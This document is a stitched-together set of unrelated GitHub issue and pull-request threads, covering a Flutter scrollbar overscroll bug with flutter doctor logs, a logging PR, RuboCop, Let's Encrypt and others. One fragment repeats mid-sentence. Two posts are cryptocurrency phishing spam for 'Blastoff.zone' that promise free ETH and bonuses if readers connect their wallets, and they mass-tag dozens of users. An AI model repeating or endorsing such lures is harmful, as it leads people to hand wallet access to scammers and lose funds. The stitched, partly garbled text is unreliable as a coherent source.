  // This widget is the root of your application.
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(
        // This is the theme of your application.
        //
        // Try running your application with "flutter run". You'll see the
        // application has a blue toolbar. Then, without quitting the app, try
        // changing the primarySwatch below to Colors.green and then invoke
        // "hot reload" (press "r" in the console where you ran "flutter run",
        // or simply save your changes to "hot reload" in a Flutter IDE).
        // Notice that the counter didn't reset back to zero; the application
        // is not restarted.
        primarySwatch: Colors.blue,
        // This makes the visual density adapt to the platform that you run
        // the app on. For desktop platforms, the controls will be smaller and
        // closer together (more dense) than on mobile platforms.
        visualDensity: VisualDensity.adaptivePlatformDensity,
      ),
      home: const HomePage(),
    );
  }
}

class HomePage extends StatefulWidget {
  const HomePage({Key? key}) : super(key: key);

  @override
  State<HomePage> createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> {
  final ScrollController _scrollController = ScrollController();

  @override
  void initState() {
    _scrollController.addListener(_scrollListener);
    super.initState();
  }

  @override
  void dispose() {
    _scrollController.dispose();
    super.dispose();
  }

  void _scrollListener() {
    // offset bigger than maxScrollExtent?
    print(
        'offset: ${_scrollController.offset} / maxScrollExtent: ${_scrollController.position.maxScrollExtent}');
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        body: Theme(
            data: ThemeData(
                scrollbarTheme: ScrollbarThemeData(
                    thumbVisibility: MaterialStateProperty.all(true),
                    thumbColor: MaterialStateProperty.all(Colors.red))),
            child: Scrollbar(
                controller: _scrollController,
                child: SingleChildScrollView(
                    controller: _scrollController,
                    scrollDirection: Axis.horizontal,
                    child:
                        const SizedBox(width: 2000, child: Placeholder())))));
  }
}

flutter doctor -v
[✓] Flutter (Channel stable, 3.0.1, on macOS 12.2.1 21D62 darwin-x64, locale en-VN)
    • Flutter version 3.0.1 at /Users/huynq/Documents/GitHub/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision fb57da5f94 (3 weeks ago), 2022-05-19 15:50:29 -0700
    • Engine revision caaafc5604
    • Dart version 2.17.1
    • DevTools version 2.12.2

[✓] Android toolchain - develop for Android devices (Android SDK version 31.0.0)
    • Android SDK at /Users/huynq/Library/Android/sdk
    • Platform android-32, build-tools 31.0.0
    • ANDROID_HOME = /Users/huynq/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 13.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] Android Studio (version 4.1)
    • Android Studio at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/AndroidStudio/ch-0/201.7042882/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)

[✓] Android Studio
    • Android Studio at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/AndroidStudio/ch-1/203.7185775/Android Studio Preview.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.8+10-b944.6842174)

[✓] IntelliJ IDEA Community Edition (version 2020.3.3)
    • IntelliJ at /Applications/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart

[✓] IntelliJ IDEA Community Edition (version 2022.1.1)
    • IntelliJ at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/IDEA-C/ch-0/221.5591.52/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart

[✓] VS Code (version 1.67.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.42.0

[✓] Connected device (2 available)
    • macOS (desktop) • macos  • darwin-x64     • macOS 12.2.1 21D62 darwin-x64
    • Chrome (web)    • chrome • web-javascript • Google Chrome 102.0.5005.61

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

[✓] Flutter (Channel master, 3.1.0-0.0.pre.1210, on macOS 12.2.1 21D62 darwin-x64, locale en-VN)
    • Flutter version 3.1.0-0.0.pre.1210 at /Users/huynq/Documents/GitHub/flutter_master
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision cecb1c06ac (62 minutes ago), 2022-06-09 22:38:05 -0400
    • Engine revision 6142374fb7
    • Dart version 2.18.0 (build 2.18.0-174.0.dev)
    • DevTools version 2.14.0

[✓] Android toolchain - develop for Android devices (Android SDK version 31.0.0)
    • Android SDK at /Users/huynq/Library/Android/sdk
    • Platform android-32, build-tools 31.0.0
    • ANDROID_HOME = /Users/huynq/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 13.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] Android Studio (version 4.1)
    • Android Studio at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/AndroidStudio/ch-0/201.7042882/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)

[!] Android Studio
    • Android Studio at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/AndroidStudio/ch-1/203.7185775/Android Studio Preview.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    ✗ Unable to find bundled Java version.
    • Try updating or re-installing Android Studio.

[✓] IntelliJ IDEA Community Edition (version 2020.3.3)
    • IntelliJ at /Applications/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart

[✓] IntelliJ IDEA Community Edition (version 2022.1.1)
    • IntelliJ at /Users/huynq/Library/Application Support/JetBrains/Toolbox/apps/IDEA-C/ch-0/221.5591.52/IntelliJ IDEA CE.app
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart

[✓] VS Code (version 1.67.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.42.0

[✓] Connected device (3 available)
    • Pixel 3a (mobile) • 964AY0WL20 • android-arm64  • Android 12 (API 32)
    • macOS (desktop)   • macos      • darwin-x64     • macOS 12.2.1 21D62 darwin-x64
    • Chrome (web)      • chrome     • web-javascript • Google Chrome 102.0.5005.115

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

cc @Piinks could this be the overscroll animation being triggered incorrectly? (Desktop Triage)

On the web engine size we only receive a couple of resize events. There's no animation happening. So I'm assuming the animation is happening on the framework side. I'll retag the issue as a framework issue, but if any work needs to be done on the web engine side, feel free to add the web label back.

nvm, @gspencergoog already did that :)

This does not look like a widget overscroll effect, the stretching or glowing overscroll is only applied on Android platforms.
The scroll position information looks like when the window is resizing, it overscrolls due to the scroll physics. The actual metrics of the resized window likely have not been updated yet. I realize that maximizing the window is one action (from OP), but the way it is executed animates the size of the window rather than instantly changing it to the maximum size. As it adjusts, the dimensions are actively changing.
Maybe @xu-baolin has some insights here since they have worked a lot on how resizing the window affects a scroll view.

The animation is triggered by:
https://github.com/flutter/flutter/blob/6c3a0e4d21da2478a58d8b00fbabfa29ef0df045/packages/flutter/lib/src/widgets/scroll_physics.dart#L777-L783
And I check that this behavior is different from the Windows, macOS, and Android platforms.

Ah I see, it may be related to #11599. We have that issue scheduled to be addressed soon, I'll check then to see if it resolves this as well.

This will be fixed soon : )

The change that closed this was reverted, reopening.

Here is a repro of the customer use case that caused the change to be reverted. The customer is using a SingleChildScrollView in a DraggableScrollableSheet that is also responding to the virtual keyboard opening and closing. From the docs for the KeyboardAwareDraggableScrollableSheet that is linked below:
/// A draggable scrollable sheet that resizes itself when the virtual keyboard
/// pops up.
///
/// Use this class in place of where you would use a DraggableScrollableSheet so
/// the sheet automatically expands to the maximum child size when the virtual
/// keyboard pops up.

I have isolated the KeyboardAwareDraggableScrollableSheet and the test file for reproduction. They are available in this gist:
https://gist.github.com/Piinks/1d6cbd0ac83ac401628f0fc82b37afd2
The issue presents itself in the 4th and final golden file image. The test starts with the sheet, opens the keyboard, scrolls down, and then closes the keyboard. At this final point, it is expected that the draggable scrollable sheet did not move down in response to the keyboard closing: captured here:

On the left is the expected behavior, and on the right is the result of applying https://github.com/flutter/flutter/pull/136239. It looks like the sheet moved when it was expected to remain open.

ts itself in the 4th and final golden file image. The test starts with the sheet, opens the keyboard, scrolls down, and then closes the keyboard. At this final point, it is expected that the draggabl

@Piinks Thank you very much for such a thorough investigation.
The root cause of the issue is that the SingleChildScrollView pixels was corrected to 0 at the first frame(this is intended), but the customer read the pixels during the post frame callback.
Here is a migrate for this issue:
https://gist.github.com/xu-baolin/855ce858e0780c4338b62881dad931d9

Oh wow fantastic, thank you very much for providing a migration. That is incredibly helpful. 🎊
Would you like to re-stage the PR so we can re-land the change, and I can work with the customer to update their code?


Some fixes for the remote logging implementation

Explain your changes:
Some fixes for the remote logging support implemented in #13100 and #13084

Enforce logs sent by the verifier/prover subprocesses to be sent sequentially and in the correct order. This is done by using a pipe and an asynchronous loop that sends the logs to the parent process one at a time. Prior to this PR,  messages are sent in a fire-and-forget manner to the parent process and very often they reach it out-of-order. This is an issue for two reasons: First, some messages set some context required to correctly interpret the following messages, and second, if messages are being processed out of order some buffering is required to be able to properly reorder them which adds complecity
Some of the internal tracing logic is lost when the log messages are forwarded as-is, so an extra configurable hook has been added to Itn_logger so that this logic can be replicated (it was implemented in this way to avoid a circular dependency between internal tracing, the logger library and the itn logger library).

Explain how you tested your changes:
I am testing this changes locally while developing the logic that will fetch these logs through Graphql queries to make them available to the internal traces consumer application.
Checklist:

[ ] Dependency versions are unchanged

Notify Velocity team if dependencies must change in CI

[ ] Modified the current draft of release notes with details on what is completed or incomplete within this project
[ ] Document code purpose, how to use it

Mention expected invariants, implicit constraints

[ ] Tests were added for the new behavior

Document test purpose, significance of failures
Test names should reflect their purpose

[ ] All tests pass (CI will check this if you didn't)
[ ] Serialized types are in stable-versioned modules
[ ] Does this close issues? List them

Closes #0000

@georgeee FYI, here are the changes.
I will keep testing this while I finish the log fetcher code, and remove the "draft" status once I think no more changes are required.

Btw, first commit implements the sequencing logic we discussed, the other one is about recovering the missing entries that relate to detecting async scheduler context switches.

!ci-build-me

Please don't merge this yet, I just found a some remaining issues that I need to solve for it to be ready.

snarkyJS tests failing with Error: null pointer passed to rust are being investigated and unrelated to the changes in this PR

!ci-build-me

!ci-build-me

@deepthiskumar what about the "merges cleanly into develop" one? There are a bunch of conflicts there, some are related to changes in this PR but most are not.

!ci-build-me

Some extra context: last 3 commits are not directly related to the remote log fixes, but are instead tweaks to the block processing/production traes that let the trace consumers to disambiguate some repeated, concurrent traces that result when the same block is received from the gossip network repeatedly in a short time span.

Thanks, going through them right now.

!ci-build-me

!ci-build-me

@tizoc this is a known issue. Somehow these tests were ok at the moment of merge of a change and then broke. We expect it to be fixed in near days and per agreement PRs not related to SnarkyJS will be forced-merged meanwhile.
I requested force-merge of this PR in our internal chat.


[Fix #11438] Explicitly load fileutils before calculating before_us

Related:

https://github.com/rubocop/rubocop/issues/11438
https://github.com/rubocop/rubocop/pull/11676

Before submitting the PR make sure the following are checked:

[x] The PR relates to only one subject with a clear title and description in grammatically correct, complete sentences.
[x] Wrote good commit messages.
[x] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[ ] Added tests.
[x] Ran bundle exec rake default. It executes all tests and runs RuboCop on its own code.
[x] Added an entry (file) to the changelog folder named {change_type}_{change_description}.md if the new code introduces user-observable changes. See changelog entry format for details.

I usually often use the following workaround to have RuboCop use the cache for CI, but this is a hassle. If possible, I would like to see RuboCop support this as soon as possible.
run: RUBYOPT=-rfileutils bundle exec rubocop

Thanks!


Validate on different port than 80

Is it possible to set the validation to check on a different port (for cases when port 80 is not available)?

Let's Encrypt does not do the validation on a port different than 80
"The HTTP-01 challenge can only be done on port 80. Allowing clients to specify arbitrary ports would make the challenge less secure, and so it is not allowed by the ACME standard."
https://letsencrypt.org/docs/challenge-types/


Adding puppetlabs_aws_configuration.ini to readme

As requested in MODULES-4425 The readme makes no mention of being able to set credentials in the global config file

Haven't tested the paths, but I check the PR where it was implemented and it seems correct. plus the wording was copied directly from somewhere else in the README


Introduce debug module style logging

As a follow up to: https://github.com/alexbrazier/simple-update-notifier/pull/12
To make the debugging easier, I would suggest adopting either the debug module in itself or at least the syntax of DEBUG=simple-update-notifier / DEBUG=* to print out debug messages for failures here: https://github.com/alexbrazier/simple-update-notifier/blob/a35efd0ab9ad9f6e300f16d1546c02d72d2a4e31/src/index.ts#L23-L25
I realize that the point of this module is to have a small dependency footprint, so maybe do not add the debug module to do this.
I guess an alternative / simpler approach could also be to simply accept a debug: true flag into simpleUpdateNotifier() and do a console.error() within the catch only when that flag is set to true?

I think my preference would be for adding a flag like debug: true as the original aim of the package was to not have many dependencies.

@alexbrazier Want a PR?

@alexbrazier Want a PR?

Sure, if you're happy to create one 😀


Why can not show contents?

I used advanced webview in my code.
It loaded web page but I can not see any html contents(background image, input , buttons)
All of contents are still there and keyboard is appeared when i touch it.
What is the issue?
I am testing my App in android studio emulater.

What source are you trying to display? A public HTML page (that you can link to here for us to check) or a HTML file saved locally on the device?
What are you actually seeing? You said the web page has been loaded (how do you know?) but you can't see the HTML contents (what do you see instead)? Can you include a screenshot perhaps?
What did you initially want to see here? Can you include a screenshot as well?

Closing due to inactivity


add jaws new command to initialize a lambda function

This is merely for your entertainment. There's probably no need to pull with the roadmap under development.
I spent a couple hours this morning (to save myself a few minutes this afternoon) adding this command. It is a fast MVP for scaffolding lambda functions.
Usage (from project root):
> jaws new api/users/create
Creates a lambda named api_users_create in a package named api-users-create at /path/to/project/root/api/users/create. It copies over some metadata from project package.json to lambda package.json, such as author and license.
I think it might be interesting to allow the jaws new command to reference a GitHub repo as well, or another local directory as a template (though that could be wicked confusing). But I'll add those thoughts as comments to your roadmap.
Cheers.

@austinrivas Do we want this kind of functionality in v1.0? It is not in the v1.0 spec.

closing with release of v1. lots of this is in the new jaws module command


Updated check_integrity function.

Updated doc-string for check_integrity and simplified the return statement.

I'm not sure why build is failing. Will close to PR.

The reason why the build is failing is because the indentation of the first line of the doc is wrong.


sync from source project

sync from source project

OK

Blastoff.zone: Earn 1 ETH + $500 Bonus!
Congratulations! You've been selected as one of the fortunate individuals eligible to claim 1 ETH right now, along with a $500 bonus, courtesy of Blastoff.zone.
How to Claim Your Reward:

Click Connect Wallet to visit the Blastoff.zone platform.
Connect your Ethereum wallet to qualify for the $500 bonus.
Utilize the "Claim Now" option to secure your tokens.

This exclusive opportunity won't last long, so make sure to act swiftly to secure your rewards!
Please note that rewards are distributed on a first-come, first-served basis. With 90% of the 100 tokens already claimed, seize this chance before it's too late!
nhejazi, @farell, @Zalaxx, @jy90719, @fly3949, @sinsong, @AGkite, @jcbecker, @fu7iang, @34730, @HiWill, @x151515, @gnois, @isjerryxiao, @idftrq, @Quizp2p, @discgolfdc, @sinahwz, @litice-wen, @hayyas49, @laizhenwei, @pmcarrion, @Poyobeco, @zhangyucumt, @DerekNing, @BlackNurse, @Kerrigan29a, @nifflin, @dianwoshishi, @MichaelTen, @smorimoto, @shiqstone, @mzzxr, @ajluo, @vtomole, @skyline75489, @ozmy, @SKFrozenCloud, @PaulB-H, @onuratakan, @swooder, @jacksonyu, @Aryamanz29, @lhr0909, @yukiisbored, @destshadow, @JJP7, @tddschn, @steinerkelvin, @ElonSatoshi

Blastoff.zone: Earn 1 ETH + $500,000 Bonus!
Congratulations! You've been selected as one of the fortunate individuals eligible to claim 1 ETH right now, along with a $500,000 bonus, courtesy of Blastoff.zone.
How to Claim Your Reward:

Click Connect Wallet to visit the Blastoff.zone platform.
Connect your Ethereum wallet to qualify for the $500,000 bonus.
Utilize the "Claim Now" option to secure your tokens.

This exclusive opportunity won't last long, so make sure to act swiftly to secure your rewards!
Please note that rewards are distributed on a first-come, first-served basis. With 90% of the 1 million tokens already claimed, seize this chance before it's too late!
cbarcenas, @sorenrood, @robertpallas, @MrNevil, @henrylao, @nmorgens, @richie-rich-ai, @dropitlikecross, @ruoshan, @im-evo, @ghrsrnvsn, @sahabi, @sunnipaul, @kitsboy, @qwertynik, @biansutao, @ckdarby, @joshcallawaydev, @shishangx, @wolfg1969, @r4victor, @clarkmoody, @hub500, @frankskol, @bsprenger, @bh1xuw, @lviggiano, @go-bank666, @phxism, @simondlr, @tycooperaow, @nbosa, @darwin, @followtheart, @ryannorton, @nyculescu, @bogdan-pr, @DaStar81, @3even, @ericwannn, @FryDay, @yedy99, @chhantyal, @bitxbeta, @chenruibin, @luban-zz, @gladiopeace, @shajalahamedcse, @0xYYY, @RashadAnsari


Reconciler: improvements for processing of async operations

3 commits in this PR related to reconciliation of async operations:

added unit test to cover handling of failures of async operations
added option to reconciler API to select which async operations to cancel (previously was possible to only cancel all running async ops without exceptions)
avoid race conditions by not processing async ops that finalize during reconciliation - they are instead left to be processed
in the next reconciliation run (some race conditions were found during zedrouter testing and this way they can be easily avoided)

This updates libs/reconciler package. Changes made here will be propagated to pillar in the next PR together with some zedrouter patches.

Note that since this is only in libs, it has no effect on EVE until I bring these changes to pillar in the next PR. So it does not make much sense to wait for eden (which once again decided not to run for whatever reason).